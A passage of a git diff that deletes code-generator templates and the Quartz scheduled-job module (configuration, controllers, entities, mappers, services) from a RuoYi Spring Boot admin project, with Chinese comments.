parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}用户-select', @parentId, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:user-select', '#', 'admin', sysdate(), '', null, ''); \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm b/ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm deleted file mode 100644 index 46e65cf..0000000 --- a/ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm +++ /dev/null @@ -1,523 +0,0 @@ - - - diff --git a/ruoyi-generator/src/main/resources/vm/vue/index.vue.vm b/ruoyi-generator/src/main/resources/vm/vue/index.vue.vm deleted file mode 100644 index a6183ca..0000000 --- a/ruoyi-generator/src/main/resources/vm/vue/index.vue.vm +++ /dev/null @@ -1,734 +0,0 @@ - - - diff --git a/ruoyi-generator/src/main/resources/vm/vue/selectvue.vm b/ruoyi-generator/src/main/resources/vm/vue/selectvue.vm deleted file mode 100644 index ac59164..0000000 --- a/ruoyi-generator/src/main/resources/vm/vue/selectvue.vm +++ /dev/null @@ -1,118 +0,0 @@ - - - - \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/vm/vue/userIndex.vue.vm b/ruoyi-generator/src/main/resources/vm/vue/userIndex.vue.vm deleted file mode 100644 index 9c3daef..0000000 --- a/ruoyi-generator/src/main/resources/vm/vue/userIndex.vue.vm +++ /dev/null @@ -1,715 +0,0 @@ - - - diff --git a/ruoyi-generator/src/main/resources/vm/vue/userSelectvue.vm b/ruoyi-generator/src/main/resources/vm/vue/userSelectvue.vm deleted file mode 100644 index a9a0aea..0000000 --- a/ruoyi-generator/src/main/resources/vm/vue/userSelectvue.vm +++ /dev/null @@ -1,118 +0,0 @@ - - - - \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm b/ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm deleted file mode 100644 index 1cc0795..0000000 --- a/ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm +++ /dev/null @@ -1,135 +0,0 @@ - - - - - -#foreach ($column in $columns) - -#end - -#if($table.sub) - - - - - - -#foreach ($column in $subTable.columns) - -#end - -#end - - - select#foreach($column in $columns) $column.columnName#if($velocityCount != $columns.size()),#end#end from ${tableName} - - - - - - - - insert into ${tableName} - -#foreach($column in $columns) -#if($column.columnName != $pkColumn.columnName || !$pkColumn.increment) - $column.columnName, -#end -#end - - -#foreach($column in $columns) -#if($column.columnName != $pkColumn.columnName || !$pkColumn.increment) - #{$column.javaField}, -#end -#end - - - - - update ${tableName} - -#foreach($column in $columns) -#if($column.columnName != $pkColumn.columnName) - $column.columnName = #{$column.javaField}, -#end -#end - - where ${pkColumn.columnName} = #{${pkColumn.javaField}} - - - - delete from ${tableName} where ${pkColumn.columnName} = #{${pkColumn.javaField}} - - - - delete from ${tableName} where ${pkColumn.columnName} in - - #{${pkColumn.javaField}} - - -#if($table.sub) - - - delete from ${subTableName} where ${subTableFkName} in - - #{${subTableFkclassName}} - - - - - delete from ${subTableName} where ${subTableFkName} = #{${subTableFkclassName}} - - - - insert into ${subTableName}(#foreach($column in $subTable.columns) $column.columnName#if($velocityCount != $subTable.columns.size()),#end#end) values - - (#foreach($column in $subTable.columns) #{item.$column.javaField}#if($velocityCount != $subTable.columns.size()),#end#end) - - -#end - \ No newline at end of file diff --git a/ruoyi-quartz/pom.xml b/ruoyi-quartz/pom.xml deleted file mode 100644 index 864ece1..0000000 --- a/ruoyi-quartz/pom.xml +++ /dev/null @@ -1,40 +0,0 @@ - - - - ruoyi - com.ruoyi - 3.4.0 - - 4.0.0 - - ruoyi-quartz - - - quartz定时任务 - - - - - - - org.quartz-scheduler - quartz - - - com.mchange - c3p0 - - - - - - - com.ruoyi - ruoyi-common - - - - - \ No newline at end of file diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/config/ScheduleConfig.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/config/ScheduleConfig.java deleted file mode 100644 index 58c69bc..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/config/ScheduleConfig.java +++ /dev/null @@ -1,57 +0,0 @@ -package com.ruoyi.quartz.config; - -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import org.springframework.scheduling.quartz.SchedulerFactoryBean; -import javax.sql.DataSource; -import java.util.Properties; - -/** - * 定时任务配置 - * - * @author ruoyi - */ -@Configuration -public class ScheduleConfig -{ - @Bean - public SchedulerFactoryBean schedulerFactoryBean(DataSource dataSource) - { - SchedulerFactoryBean factory = new SchedulerFactoryBean(); - factory.setDataSource(dataSource); - - // quartz参数 - Properties prop = new Properties(); - prop.put("org.quartz.scheduler.instanceName", "RuoyiScheduler"); - prop.put("org.quartz.scheduler.instanceId", "AUTO"); - // 线程池配置 - prop.put("org.quartz.threadPool.class", "org.quartz.simpl.SimpleThreadPool"); - prop.put("org.quartz.threadPool.threadCount", "20"); - prop.put("org.quartz.threadPool.threadPriority", "5"); - // JobStore配置 - prop.put("org.quartz.jobStore.class", "org.quartz.impl.jdbcjobstore.JobStoreTX"); - // 集群配置 - prop.put("org.quartz.jobStore.isClustered", "true"); - prop.put("org.quartz.jobStore.clusterCheckinInterval", "15000"); - prop.put("org.quartz.jobStore.maxMisfiresToHandleAtATime", "1"); - prop.put("org.quartz.jobStore.txIsolationLevelSerializable", "true"); - - // sqlserver 启用 - // prop.put("org.quartz.jobStore.selectWithLockSQL", "SELECT * FROM {0}LOCKS UPDLOCK WHERE LOCK_NAME = ?"); - prop.put("org.quartz.jobStore.misfireThreshold", "12000"); - prop.put("org.quartz.jobStore.tablePrefix", "QRTZ_"); - factory.setQuartzProperties(prop); - - factory.setSchedulerName("RuoyiScheduler"); - // 延时启动 - factory.setStartupDelay(1); - factory.setApplicationContextSchedulerContextKey("applicationContextKey"); - // 可选,QuartzScheduler - // 启动时更新己存在的Job,这样就不用每次修改targetObject后删除qrtz_job_details表对应记录了 - factory.setOverwriteExistingJobs(true); - // 设置自动启动,默认为true - factory.setAutoStartup(true); - - return factory; - } -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobController.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobController.java deleted file mode 100644 index fc7614c..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobController.java +++ /dev/null @@ -1,142 +0,0 @@ -package com.ruoyi.quartz.controller; - -import java.util.List; -import org.quartz.SchedulerException; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.core.page.TableDataInfo; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.common.exception.job.TaskException; -import com.ruoyi.common.utils.SecurityUtils; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.quartz.domain.SysJob; -import com.ruoyi.quartz.service.ISysJobService; -import com.ruoyi.quartz.util.CronUtils; - -/** - * 调度任务信息操作处理 - * - * @author ruoyi - */ -@RestController -@RequestMapping("/monitor/job") -public class SysJobController extends BaseController -{ - @Autowired - private ISysJobService jobService; - - /** - * 查询定时任务列表 - */ - @PreAuthorize("@ss.hasPermi('monitor:job:list')") - @GetMapping("/list") - public TableDataInfo list(SysJob sysJob) - { - startPage(); - List list = jobService.selectJobList(sysJob); - return getDataTable(list); - } - - /** - * 导出定时任务列表 - */ - @PreAuthorize("@ss.hasPermi('monitor:job:export')") - @Log(title = "定时任务", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(SysJob sysJob) - { - List list = jobService.selectJobList(sysJob); - ExcelUtil util = new ExcelUtil(SysJob.class); - return util.exportExcel(list, "定时任务"); - } - - /** - * 获取定时任务详细信息 - */ - @PreAuthorize("@ss.hasPermi('monitor:job:query')") - @GetMapping(value = "/{jobId}") - public AjaxResult getInfo(@PathVariable("jobId") Long jobId) - { - return AjaxResult.success(jobService.selectJobById(jobId)); - } - - /** - * 新增定时任务 - */ - @PreAuthorize("@ss.hasPermi('monitor:job:add')") - @Log(title = "定时任务", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody SysJob sysJob) throws SchedulerException, TaskException - { - if (!CronUtils.isValid(sysJob.getCronExpression())) - { - return AjaxResult.error("cron表达式不正确"); - } - sysJob.setCreateBy(SecurityUtils.getUsername()); - return toAjax(jobService.insertJob(sysJob)); - } - - /** - * 修改定时任务 - */ - @PreAuthorize("@ss.hasPermi('monitor:job:edit')") - @Log(title = "定时任务", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody SysJob sysJob) throws SchedulerException, TaskException - { - if (!CronUtils.isValid(sysJob.getCronExpression())) - { - return AjaxResult.error("cron表达式不正确"); - } - sysJob.setUpdateBy(SecurityUtils.getUsername()); - return toAjax(jobService.updateJob(sysJob)); - } - - /** - * 定时任务状态修改 - */ - @PreAuthorize("@ss.hasPermi('monitor:job:changeStatus')") - @Log(title = "定时任务", businessType = BusinessType.UPDATE) - @PutMapping("/changeStatus") - public AjaxResult changeStatus(@RequestBody SysJob job) throws SchedulerException - { - SysJob newJob = jobService.selectJobById(job.getJobId()); - newJob.setStatus(job.getStatus()); - return toAjax(jobService.changeStatus(newJob)); - } - - /** - * 定时任务立即执行一次 - */ - @PreAuthorize("@ss.hasPermi('monitor:job:changeStatus')") - @Log(title = "定时任务", businessType = BusinessType.UPDATE) - @PutMapping("/run") - public AjaxResult run(@RequestBody SysJob job) throws SchedulerException - { - jobService.run(job); - return AjaxResult.success(); - } - - /** - * 删除定时任务 - */ - @PreAuthorize("@ss.hasPermi('monitor:job:remove')") - @Log(title = "定时任务", businessType = BusinessType.DELETE) - @DeleteMapping("/{jobIds}") - public AjaxResult remove(@PathVariable Long[] jobIds) throws SchedulerException, TaskException - { - jobService.deleteJobByIds(jobIds); - return AjaxResult.success(); - } -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java deleted file mode 100644 index b1f8204..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java +++ /dev/null @@ -1,90 +0,0 @@ -package com.ruoyi.quartz.controller; - -import java.util.List; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.core.page.TableDataInfo; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.quartz.domain.SysJobLog; -import com.ruoyi.quartz.service.ISysJobLogService; - -/** - * 调度日志操作处理 - * - * @author ruoyi - */ -@RestController -@RequestMapping("/monitor/jobLog") -public class SysJobLogController extends BaseController -{ - @Autowired - private ISysJobLogService jobLogService; - - /** - * 查询定时任务调度日志列表 - */ - @PreAuthorize("@ss.hasPermi('monitor:job:list')") - @GetMapping("/list") - public TableDataInfo list(SysJobLog sysJobLog) - { - startPage(); - List list = jobLogService.selectJobLogList(sysJobLog); - return getDataTable(list); - } - - /** - * 导出定时任务调度日志列表 - */ - @PreAuthorize("@ss.hasPermi('monitor:job:export')") - @Log(title = "任务调度日志", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(SysJobLog sysJobLog) - { - List list = jobLogService.selectJobLogList(sysJobLog); - ExcelUtil util = new ExcelUtil(SysJobLog.class); - return util.exportExcel(list, "调度日志"); - } - - /** - * 根据调度编号获取详细信息 - */ - @PreAuthorize("@ss.hasPermi('monitor:job:query')") - @GetMapping(value = "/{configId}") - public AjaxResult getInfo(@PathVariable Long jobLogId) - { - return AjaxResult.success(jobLogService.selectJobLogById(jobLogId)); - } - - - /** - * 删除定时任务调度日志 - */ - @PreAuthorize("@ss.hasPermi('monitor:job:remove')") - @Log(title = "定时任务调度日志", businessType = BusinessType.DELETE) - @DeleteMapping("/{jobLogIds}") - public AjaxResult remove(@PathVariable Long[] jobLogIds) - { - return toAjax(jobLogService.deleteJobLogByIds(jobLogIds)); - } - - /** - * 清空定时任务调度日志 - */ - @PreAuthorize("@ss.hasPermi('monitor:job:remove')") - @Log(title = "调度日志", businessType = BusinessType.CLEAN) - @DeleteMapping("/clean") - public AjaxResult clean() - { - jobLogService.cleanJobLog(); - return AjaxResult.success(); - } -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJob.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJob.java deleted file mode 100644 index abe5b5d..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJob.java +++ /dev/null @@ -1,172 +0,0 @@ -package com.ruoyi.quartz.domain; - -import java.io.Serializable; -import java.util.Date; -import javax.validation.constraints.NotBlank; -import javax.validation.constraints.Size; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.fasterxml.jackson.annotation.JsonFormat; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.annotation.Excel.ColumnType; -import com.ruoyi.common.constant.ScheduleConstants; -import com.ruoyi.common.core.domain.BaseEntity; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.quartz.util.CronUtils; - -/** - * 定时任务调度表 sys_job - * - * @author ruoyi - */ -public class SysJob extends BaseEntity implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 任务ID */ - @Excel(name = "任务序号", cellType = ColumnType.NUMERIC) - private Long jobId; - - /** 任务名称 */ - @Excel(name = "任务名称") - private String jobName; - - /** 任务组名 */ - @Excel(name = "任务组名") - private String jobGroup; - - /** 调用目标字符串 */ - @Excel(name = "调用目标字符串") - private String invokeTarget; - - /** cron执行表达式 */ - @Excel(name = "执行表达式 ") - private String cronExpression; - - /** cron计划策略 */ - @Excel(name = "计划策略 ", readConverterExp = "0=默认,1=立即触发执行,2=触发一次执行,3=不触发立即执行") - private String misfirePolicy = ScheduleConstants.MISFIRE_DEFAULT; - - /** 是否并发执行(0允许 1禁止) */ - @Excel(name = "并发执行", readConverterExp = "0=允许,1=禁止") - private String concurrent; - - /** 任务状态(0正常 1暂停) */ - @Excel(name = "任务状态", readConverterExp = "0=正常,1=暂停") - private String status; - - public Long getJobId() - { - return jobId; - } - - public void setJobId(Long jobId) - { - this.jobId = jobId; - } - - @NotBlank(message = "任务名称不能为空") - @Size(min = 0, max = 64, message = "任务名称不能超过64个字符") - public String getJobName() - { - return jobName; - } - - public void setJobName(String jobName) - { - this.jobName = jobName; - } - - public String getJobGroup() - { - return jobGroup; - } - - public void setJobGroup(String jobGroup) - { - this.jobGroup = jobGroup; - } - - @NotBlank(message = "调用目标字符串不能为空") - @Size(min = 0, max = 500, message = "调用目标字符串长度不能超过500个字符") - public String getInvokeTarget() - { - return invokeTarget; - } - - public void setInvokeTarget(String invokeTarget) - { - this.invokeTarget = invokeTarget; - } - - @NotBlank(message = "Cron执行表达式不能为空") - @Size(min = 0, max = 255, message = "Cron执行表达式不能超过255个字符") - public String getCronExpression() - { - return cronExpression; - } - - public void setCronExpression(String cronExpression) - { - this.cronExpression = cronExpression; - } - - @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") - public Date getNextValidTime() - { - if (StringUtils.isNotEmpty(cronExpression)) - { - return CronUtils.getNextExecution(cronExpression); - } - return null; - } - - public String getMisfirePolicy() - { - return misfirePolicy; - } - - public void setMisfirePolicy(String misfirePolicy) - { - this.misfirePolicy = misfirePolicy; - } - - public String getConcurrent() - { - return concurrent; - } - - public void setConcurrent(String concurrent) - { - this.concurrent = concurrent; - } - - public String getStatus() - { - return status; - } - - public void setStatus(String status) - { - this.status = status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("jobId", getJobId()) - .append("jobName", getJobName()) - .append("jobGroup", getJobGroup()) - .append("cronExpression", getCronExpression()) - .append("nextValidTime", getNextValidTime()) - .append("misfirePolicy", getMisfirePolicy()) - .append("concurrent", getConcurrent()) - .append("status", getStatus()) - .append("createBy", getCreateBy()) - .append("createTime", getCreateTime()) - .append("updateBy", getUpdateBy()) - .append("updateTime", getUpdateTime()) - .append("remark", getRemark()) - .toString(); - } -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJobLog.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJobLog.java deleted file mode 100644 index 121c035..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJobLog.java +++ /dev/null @@ -1,155 +0,0 @@ -package com.ruoyi.quartz.domain; - -import java.util.Date; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; - -/** - * 定时任务调度日志表 sys_job_log - * - * @author ruoyi - */ -public class SysJobLog extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** ID */ - @Excel(name = "日志序号") - private Long jobLogId; - - /** 任务名称 */ - @Excel(name = "任务名称") - private String jobName; - - /** 任务组名 */ - @Excel(name = "任务组名") - private String jobGroup; - - /** 调用目标字符串 */ - @Excel(name = "调用目标字符串") - private String invokeTarget; - - /** 日志信息 */ - @Excel(name = "日志信息") - private String jobMessage; - - /** 执行状态(0正常 1失败) */ - @Excel(name = "执行状态", readConverterExp = "0=正常,1=失败") - private String status; - - /** 异常信息 */ - @Excel(name = "异常信息") - private String exceptionInfo; - - /** 开始时间 */ - private Date startTime; - - /** 停止时间 */ - private Date stopTime; - - public Long getJobLogId() - { - return jobLogId; - } - - public void setJobLogId(Long jobLogId) - { - this.jobLogId = jobLogId; - } - - public String getJobName() - { - return jobName; - } - - public void setJobName(String jobName) - { - this.jobName = jobName; - } - - public String getJobGroup() - { - return jobGroup; - } - - public void setJobGroup(String jobGroup) - { - this.jobGroup = jobGroup; - } - - public String getInvokeTarget() - { - return invokeTarget; - } - - public void setInvokeTarget(String invokeTarget) - { - this.invokeTarget = invokeTarget; - } - - public String getJobMessage() - { - return jobMessage; - } - - public void setJobMessage(String jobMessage) - { - this.jobMessage = jobMessage; - } - - public String getStatus() - { - return status; - } - - public void setStatus(String status) - { - this.status = status; - } - - public String getExceptionInfo() - { - return exceptionInfo; - } - - public void setExceptionInfo(String exceptionInfo) - { - this.exceptionInfo = exceptionInfo; - } - - public Date getStartTime() - { - return startTime; - } - - public void setStartTime(Date startTime) - { - this.startTime = startTime; - } - - public Date getStopTime() - { - return stopTime; - } - - public void setStopTime(Date stopTime) - { - this.stopTime = stopTime; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("jobLogId", getJobLogId()) - .append("jobName", getJobName()) - .append("jobGroup", getJobGroup()) - .append("jobMessage", getJobMessage()) - .append("status", getStatus()) - .append("exceptionInfo", getExceptionInfo()) - .append("startTime", getStartTime()) - .append("stopTime", getStopTime()) - .toString(); - } -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobLogMapper.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobLogMapper.java deleted file mode 100644 index 727d916..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobLogMapper.java +++ /dev/null @@ -1,64 +0,0 @@ -package com.ruoyi.quartz.mapper; - -import java.util.List; -import com.ruoyi.quartz.domain.SysJobLog; - -/** - * 调度任务日志信息 数据层 - * - * @author ruoyi - */ -public interface SysJobLogMapper -{ - /** - * 获取quartz调度器日志的计划任务 - * - * @param jobLog 调度日志信息 - * @return 调度任务日志集合 - */ - public List selectJobLogList(SysJobLog jobLog); - - /** - * 查询所有调度任务日志 - * - * @return 调度任务日志列表 - */ - public List selectJobLogAll(); - - /** - * 通过调度任务日志ID查询调度信息 - * - * @param jobLogId 调度任务日志ID - * @return 调度任务日志对象信息 - */ - public SysJobLog selectJobLogById(Long jobLogId); - - /** - * 新增任务日志 - * - * @param jobLog 调度日志信息 - * @return 结果 - */ - public int insertJobLog(SysJobLog jobLog); - - /** - * 批量删除调度日志信息 - * - * @param logIds 需要删除的数据ID - * @return 结果 - */ - public int deleteJobLogByIds(Long[] logIds); - - /** - * 删除任务日志 - * - * @param jobId 调度日志ID - * @return 结果 - */ - public int deleteJobLogById(Long jobId); - - /** - * 清空任务日志 - */ - public void cleanJobLog(); -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobMapper.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobMapper.java deleted file mode 100644 index 20f45db..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobMapper.java +++ /dev/null @@ -1,67 +0,0 @@ -package com.ruoyi.quartz.mapper; - -import java.util.List; -import com.ruoyi.quartz.domain.SysJob; - -/** - * 调度任务信息 数据层 - * - * @author ruoyi - */ -public interface SysJobMapper -{ - /** - * 查询调度任务日志集合 - * - * @param job 调度信息 - * @return 操作日志集合 - */ - public List selectJobList(SysJob job); - - /** - * 查询所有调度任务 - * - * @return 调度任务列表 - */ - public List selectJobAll(); - - /** - * 通过调度ID查询调度任务信息 - * - * @param jobId 调度ID - * @return 角色对象信息 - */ - public SysJob selectJobById(Long jobId); - - /** - * 通过调度ID删除调度任务信息 - * - * @param jobId 调度ID - * @return 结果 - */ - public int deleteJobById(Long jobId); - - /** - * 批量删除调度任务信息 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteJobByIds(Long[] ids); - - /** - * 修改调度任务信息 - * - * @param job 调度任务信息 - * @return 结果 - */ - public int updateJob(SysJob job); - - /** - * 新增调度任务信息 - * - * @param job 调度任务信息 - * @return 结果 - */ - public int insertJob(SysJob job); -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobLogService.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobLogService.java deleted file mode 100644 index 8546792..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobLogService.java +++ /dev/null @@ -1,56 +0,0 @@ -package com.ruoyi.quartz.service; - -import java.util.List; -import com.ruoyi.quartz.domain.SysJobLog; - -/** - * 定时任务调度日志信息信息 服务层 - * - * @author ruoyi - */ -public interface ISysJobLogService -{ - /** - * 获取quartz调度器日志的计划任务 - * - * @param jobLog 调度日志信息 - * @return 调度任务日志集合 - */ - public List selectJobLogList(SysJobLog jobLog); - - /** - * 通过调度任务日志ID查询调度信息 - * - * @param jobLogId 调度任务日志ID - * @return 调度任务日志对象信息 - */ - public SysJobLog selectJobLogById(Long jobLogId); - - /** - * 新增任务日志 - * - * @param jobLog 调度日志信息 - */ - public void addJobLog(SysJobLog jobLog); - - /** - * 批量删除调度日志信息 - * - * @param logIds 需要删除的日志ID - * @return 结果 - */ - public int deleteJobLogByIds(Long[] logIds); - - /** - * 删除任务日志 - * - * @param jobId 调度日志ID - * @return 结果 - */ - public int deleteJobLogById(Long jobId); - - /** - * 清空任务日志 - */ - public void cleanJobLog(); -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobService.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobService.java deleted file mode 100644 index 6d62661..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobService.java +++ /dev/null @@ -1,102 +0,0 @@ -package com.ruoyi.quartz.service; - -import java.util.List; -import org.quartz.SchedulerException; -import com.ruoyi.common.exception.job.TaskException; -import com.ruoyi.quartz.domain.SysJob; - -/** - * 定时任务调度信息信息 服务层 - * - * @author ruoyi - */ -public interface ISysJobService -{ - /** - * 获取quartz调度器的计划任务 - * - * @param job 调度信息 - * @return 调度任务集合 - */ - public List selectJobList(SysJob job); - - /** - * 通过调度任务ID查询调度信息 - * - * @param jobId 调度任务ID - * @return 调度任务对象信息 - */ - public SysJob selectJobById(Long jobId); - - /** - * 暂停任务 - * - * @param job 调度信息 - * @return 结果 - */ - public int pauseJob(SysJob job) throws SchedulerException; - - /** - * 恢复任务 - * - * @param job 调度信息 - * @return 结果 - */ - public int resumeJob(SysJob job) throws SchedulerException; - - /** - * 删除任务后,所对应的trigger也将被删除 - * - * @param job 调度信息 - * @return 结果 - */ - public int deleteJob(SysJob job) throws SchedulerException; - - /** - * 批量删除调度信息 - * - * @param jobIds 需要删除的任务ID - * @return 结果 - */ - public void deleteJobByIds(Long[] jobIds) throws SchedulerException; - - /** - * 任务调度状态修改 - * - * @param job 调度信息 - * @return 结果 - */ - public int changeStatus(SysJob job) throws SchedulerException; - - /** - * 立即运行任务 - * - * @param job 调度信息 - * @return 结果 - */ - public void run(SysJob job) throws SchedulerException; - - /** - * 新增任务 - * - * @param job 调度信息 - * @return 结果 - */ - public int insertJob(SysJob job) throws SchedulerException, TaskException; - - /** - * 更新任务 - * - * @param job 调度信息 - * @return 结果 - */ - public int updateJob(SysJob job) throws SchedulerException, TaskException; - - /** - * 校验cron表达式是否有效 - * - * @param cronExpression 表达式 - * @return 结果 - */ - public boolean checkCronExpressionIsValid(String cronExpression); -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobLogServiceImpl.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobLogServiceImpl.java deleted file mode 100644 index 812eed7..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobLogServiceImpl.java +++ /dev/null @@ -1,87 +0,0 @@ -package com.ruoyi.quartz.service.impl; - -import java.util.List; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.quartz.domain.SysJobLog; -import com.ruoyi.quartz.mapper.SysJobLogMapper; -import com.ruoyi.quartz.service.ISysJobLogService; - -/** - * 定时任务调度日志信息 服务层 - * - * @author ruoyi - */ -@Service -public class SysJobLogServiceImpl implements ISysJobLogService -{ - @Autowired - private SysJobLogMapper jobLogMapper; - - /** - * 获取quartz调度器日志的计划任务 - * - * @param jobLog 调度日志信息 - * @return 调度任务日志集合 - */ - @Override - public List selectJobLogList(SysJobLog jobLog) - { - return jobLogMapper.selectJobLogList(jobLog); - } - - /** - * 通过调度任务日志ID查询调度信息 - * - * @param jobLogId 调度任务日志ID - * @return 调度任务日志对象信息 - */ - @Override - public SysJobLog selectJobLogById(Long jobLogId) - { - return jobLogMapper.selectJobLogById(jobLogId); - } - - /** - * 新增任务日志 - * - * @param jobLog 调度日志信息 - */ - @Override - public void addJobLog(SysJobLog jobLog) - { - jobLogMapper.insertJobLog(jobLog); - } - - /** - * 批量删除调度日志信息 - * - * @param logIds 需要删除的数据ID - * @return 结果 - */ - @Override - public int deleteJobLogByIds(Long[] logIds) - { - return jobLogMapper.deleteJobLogByIds(logIds); - } - - /** - * 删除任务日志 - * - * @param jobId 调度日志ID - */ - @Override - public int deleteJobLogById(Long jobId) - { - return jobLogMapper.deleteJobLogById(jobId); - } - - /** - * 清空任务日志 - */ - @Override - public void cleanJobLog() - { - jobLogMapper.cleanJobLog(); - } -} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobServiceImpl.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobServiceImpl.java deleted file mode 100644 index 57a5243..0000000 --- a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobServiceImpl.java +++ /dev/null @@ -1,254 +0,0 @@ -package com.ruoyi.quartz.service.impl; - -import java.util.List; -import javax.annotation.PostConstruct; -import org.quartz.JobDataMap; -import org.quartz.JobKey; -import org.quartz.Scheduler; -import org.quartz.SchedulerException; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; -import com.ruoyi.common.constant.ScheduleConstants; -import com.ruoyi.common.exception.job.TaskException; -import com.ruoyi.quartz.domain.SysJob; -import com.ruoyi.quartz.mapper.SysJobMapper; -import com.ruoyi.quartz.service.ISysJobService; -import com.ruoyi.quartz.util.CronUtils; -import com.ruoyi.quartz.util.ScheduleUtils; - -/** - * 定时任务调度信息 服务层 - * - * @author ruoyi - */ -@Service -public class SysJobServiceImpl implements ISysJobService -{ - @Autowired - private Scheduler scheduler; - - @Autowired - private SysJobMapper jobMapper; - - /** - * 项目启动时,初始化定时器 主要是防止手动修改数据库导致未同步到定时任务处理(注:不能手动修改数据库ID和任务组名,否则会导致脏数据) - */ - @PostConstruct - public void init() throws SchedulerException, TaskException - { - scheduler.clear(); - List jobList = jobMapper.selectJobAll(); - for (SysJob job : jobList) - { - ScheduleUtils.createScheduleJob(scheduler, job); - } - } - - /** - * 获取quartz调度器的计划任务列表 - * - * @param job 调度信息 - * @return - */ - @Override - public List 